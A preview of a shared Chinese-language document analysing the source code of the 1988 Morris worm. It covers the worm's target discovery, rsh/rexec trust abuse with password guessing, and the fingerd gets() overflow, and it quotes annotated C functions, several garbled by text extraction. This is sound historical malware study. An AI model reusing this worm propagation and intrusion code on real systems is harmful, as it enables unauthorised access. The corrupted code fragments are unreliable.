Morris蠕虫源代码分析.docx
![资源得分’ title=](/images/score_1.gif)
![资源得分’ title=](/images/score_1.gif)
![资源得分’ title=](/images/score_1.gif)
![资源得分’ title=](/images/score_1.gif)
![资源得分’ title=](/images/score_05.gif)
《Morris蠕虫源代码分析.docx》由会员分享,可在线阅读,更多相关《Morris蠕虫源代码分析.docx(46页珍藏版)》请在淘文阁 - 分享文档赚钱的网站上搜索。
1、仍然会消耗大量的系统资源。经过分析,导致系统资源被大量消耗的原因可能有:一、每个 蠕虫有七分之一的机会成为永生的独立蠕虫,独立蠕虫会使得系统中的蠕虫越来越多,当然 消耗的资源也会越来越多。二、当pleasequit被置为1后,蠕虫还要做很多没有意义的工作(while循环)才会退出,这也是系统资源的一种浪费。三、根据if (pleasequit & nextw 0) 的退出条件,即使蠕虫在roll dice失败了,如果它是一只新的蠕虫,它还要必须要进行一次 攻击(密码破解)才会退出,这也是对系统资源的无谓浪费。四、在mainloop中的破解密 码过程中,密码匹配算法效率较低,并且用链表来储存常用
2、的信息检索效率低。五、新蠕虫 没有继承父蠕虫的攻击历史记录,导致了新蠕虫会对父蠕虫或者其他已被感染的主机进行重 复感染,这也是消耗系统以及网络资源的主要原因之一。5 .定位攻击目标在进行攻击之前,蠕虫首先要定位被攻击的目标位置,并且要确保被攻击的目标是存在 的。morris蠕虫将目标主机分为了网关、系统文件列表中主机、本地网络中主机、远程主机 四种(储存于host list中)。而且,从能够获得最佳攻击效果的目的出发,morris蠕虫按照网 关、系统文件列表中主机、本地网络中主机、远程主机的先后顺序进行定位(攻击)目标主 机。另外,蠕虫初始化host list中系统列表主机的工作在cracks
3、ome。中完成,蠕虫在第一 次调用cracksome。函数时从本机的文件系统得到目标主机以及用户的信息,这些信息将视 为系统列表主机被蠕虫攻击,关于cracksome。函数的实现将在第8部分详细介绍。如果根 据A Taxonomy of Computer Worms,这部分大致讲述的就是TARGET DISCOVERY的部分。 下面详细描述一下定位(攻击)的过程以及其中用到函数。5.1 gateway网关是蠕虫的最爱,因为网关上常常记录着一个局域网中所有主机的信息。在攻击时, 网关具有最高的优先权,仅当网关列表中所有的网关都被标记(已感染或不能感染)后,蠕 虫才尝试对其他类型目标主机的攻击。网
4、关列表由rt_init()函数生成。rt_init()函数通过解析 netstat命令的返回值来判断是否为网关(但是其中有一个rt_init_544_plus()函数没有实现, 因此蠕虫判断网关的具体方法尚不明确,但也许蠕虫是根据Ip地址的主机位来判断是否为 网关的。),如果是网关则在检查是否已经存在与网关列表当中,如果不存在则加入;而后将 网关列表随机打乱,将前20个网关假如host list以加快攻击速度。对网关进行攻击的函数 是hg(),其主要代码以及注释如下:hg()/*对网关进行攻击*/(struct hst *host; 主机列表int i;rt_init ();初始化网关列表fo
5、r (i = 0; i = 500)break;sscanf(input buf, XS(s%s),1204, 1304);)pclose(pipe);rt_init_plus_544 (); 未实现return 1;)5.2 系统文件列表中主机在网关以后就是系统文件列表中主机,在unix系统中/etc/hosts.equiv文件(后面称作特 权文件)记录了本地主机授权的不经过验证就可以登录本主机的用户名,/所。s/s文件记录 了允许本地主机特权登录的远程主机名称,力文件记录了本主机向其发送过电子邮件 的主机信息。在扫描时这些主机将先被关注(这些主机是与本机相联,而且最容易攻破的机 器)。对系
6、统文件列表中主机进行攻击的函数是hi(),其具体的实现与注释如下:hi()/*This routine tried to infect hosts whose entries in the hosts list were marked as equivalent.在这里equivalent指的就是上述UNIX系统中的那三个文件*/(struct hst *host;for (host = hosts; host; host = host-next )if (host-flag & 0x08 != 0) & (try_rsh_and mail(host) != 0)return 1;/ host
7、-flag & 0x08 != 0表示系统文件列表中主机return 0;)5.3 本地网络中主机与远程主机在前两种主机都尝试过以后,如果没有成功,蠕虫将进一步对本地网络中主机和远程主机进行尝试。hl ()函数负责对本地网络的主机进行攻击,它提取本地网络IP地址的网络 地址部分,然后用随机数字取代主机地址部分进行攻击。其具体实现以及注释如下:hl()/*对本地网络的主机进行攻击*/( int i;for (i = 0; i o48i=0)已经没有网络地址 break;if (hi_84(me-o48i & netmaskfor(me-o48i) != 0) return 1;/ * hi_84
8、 ()是对通过ip地址的种类对远程主机的攻击函数,将 在后面详细描述*/ ) return 0;)ha()函数尝试对远程主机进行攻击,其实现以及代码注释如下:ha()/*通过telnet对远程主机进行攻击,在攻击时也是首先选择ip的网络地址,然后对随机生 成的网关地址进行攻击*/ (struct hst *host; int i, j, k; int 1416E100; int 1420;if (ngateways 1) rt_init ();初始化网关列表 j = 0;for (i = 0; i ngateways; i+) /*对所有的网关尝试进行攻击*/host = h_addr2hos
9、t(gatewaysi, 1); for (k = 0; k o48k) = 0) continue; /*用telnet检查可达性,仃y_telnet_p()函数下文介绍*/ 1416j = host-o48k;/ 1416中存储的是网络地址 j+;permute(1416, j, sizeof(14160);/ permute将j个sizeof大小的1416文件内容相反的拷贝到内存中 for (i = 0; i j; i+)/*对j个地址随机生成的IP地址进行攻击*/if (hi_84(1416i & netmaskfor(1416i) return 1; return 0;)/* try
10、_telnet_p ()是用来检查远程主机的可达性和是否支持telnet协议,在ha()中被调用*/ static try_telnet_p(u_long addr)int s, connection;/* 28 */struct sockaddrin sin;/* 16 bytes */int (*save_sighand)();s = socket(AF_INET, SOCK_STREAM, 0); if (s 0)return 0;bzero(&sin, sizeof(sin);sin.sin_family = AFINET;sin.sin addr. s addr = addr;sin
11、. sin port = IPPORT TELNET;/* This time try telnet. */* Set up a 5 second timeout, break from connect if it fails */ save_sighand 二 signal(SIGALRM, justreturn);alarm(5);connection = connect(s, &sin, sizeof(sin);if (connection 0 & errno = ECONNREFUSED) connection = 0; /* Telnet connection refused */
12、alarm(0);/* Turn off timeout */close (s);return connection != -1;以上是对目标主机定位(攻击)的大致过程。虽然蠕虫将主机分为四种类型,但是通常 情况下从系统文件列表中得到的主机已经可以覆盖整个局域网络,因此hl()和ha()并不会被 经常调用。6 .蠕虫利用的系统漏洞morris蠕虫主要是对Berkeley发布的unix系统进行攻击,在攻击时它利用了 unix系统 的一些漏洞,下面对被蠕虫利用的unix系统漏洞进行详细描述:6.1 Rsh月艮务与rexec月艮务rsh和rexec是UNIX系统提供远程命令编译的网络服务。Rexec
13、服务需要密码验证,而 rsh服务则是依靠特权文件(/etc/hosts.eqMv文辑)来提供服务的。这两个服务是每个黑客进 行攻击时都会尝试的,因为本地主机在远程主机上可能会有同样的帐户名和密码(因为人们 通常会使用同样的帐户和密码,而不会去记忆许多不同的帐户和密码,尤其是密码),而且 通常情况下远程主机会把本机帐户保存在rsh服务的特权文件中。这个漏洞并不是一个系统 BUG,它主要是为了使用户方便,但是在方便用户的同时也给入侵者提供了便利。首先,蠕虫读取.由rvvQrd文件和.泌osls文件(记录了那些需要经过密码身份验证的用户 名),然后对这些主机进行攻击。在攻击时,蠕虫首先连接远程主机的
14、rexec服务,然后发 送从的文件和j/zos/s文件得到用户名并附加上words结构的密码(猜测密码),如果 密码猜测成功,则进入远程主机。否则,蠕虫用本地帐户登录本机的rexec服务,然后用本 机去尝试远程主机的rsh服务,如果在远程主机的左化2。必.约,小文件或者.法os/s文件中的 确存在本机的帐户,那么远程主机将允许建立连接,可以进入远程主机。fork_rsh()函数实现了这部分的攻击,其具体实现如下:static fork_rsh(char *host, int *fdpl, int *fdp2, char *str)/*通过rexec服务和rsh服务对远程主机进行攻击,首先建立两
15、个管道*/ int child;/* 子进程 */int fildes2;/* 管道 1*/int fildesl 2 ;/* 管道2*/int fd;/*用pipe。建立两个管道,pipe。会建立管道,并将文件描述词由参数filedes数组返回。 filedes0为管道里的读取端,filedesl则为管道的写入端。*/if (pipe(fildes) 0)return 0;管道1建立失败if (pipe(fildesl) 0)( 管道2建立失败,关闭管道1并返回0close (fildes 0); close(fildesl); return 0;child = fork();创建子进程,子
16、进程将尝试通过rexec服务攻击远程主机if (child 0)/*子进程创建失败*/close(fildes0);close (fildes1);close (fildesl0);close(fildesl1);return 0;if (child = 0)/*子进程创建成功,且现在运行的是子进程*/for (fd = 0; fd 2)close (fildes0); if (fildesll 2)close(fildesl1);/* execl() does not return if it suceeds. execl ()用来执行参数path字符串所代表的文件路径下的文件,以/usr/
17、ucb/rsh, /usr/bin/rsh, and/bin/rsh.的顺序通过rsh服 务对远程主机尝试进行攻击*/execl (XS(,/usr/ucb/rshz,), XS(rsh),host, str, 0);execl (XS(/usr/bin/rsh),XS(rsh),host, str, 0);execl (XS (,z/bin/rshz/), XS(rsh),host, str, 0);exit (1);)close(fildes0);close(fildesl1);*fdpl = fildesl0;*fdp2 = fildesl;if (test_connection(*fd
18、pl, *fdp2, 30)return 1;/*蠕虫攻击成功,建立了两个管道*/close(*fdpl);close(*fdp2);kill(child, 9);结束子进程,攻击失败/* Give the child a chance to die from the signal. */ sleep(l);wait3(0, WNOHANG, 0);作用不明return 0;6.2 finger (缓冲区溢出漏洞)Finger是一个daemon程序,根据finger协议为远程请求服务。它是用来得到系统上用 户详细信息的程序,它通过读取源主机的请求作为参数,经过运算返回用户的全名、他们的 办公室
19、的地址、电话号码以及是否在线等信息。但是在Finger程序中使用了 c的gets。函数, 而gets。函数没有检查输入的边界,如果输入超过了 512byte的话则会产生缓冲区溢出。 Morris蠕虫正是利用了这一漏洞,它提供给Finger一个536byte的请求,溢出的24byte用来 执行蠕虫的引导程序。try_finger()函数实现了对该漏洞的攻击,其具体代码以及注释如下:static try_finger(struct hst *host, int *fdl, int *fd2)/*尝试与远程主机的finger守护进程(79号端口)建立连接,如果成功那么则建立一个s */ (int i
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- Morris 蠕虫 源代码 分析
![提示](https://www.taowenge.com/images/bang_tan.gif)
限制150内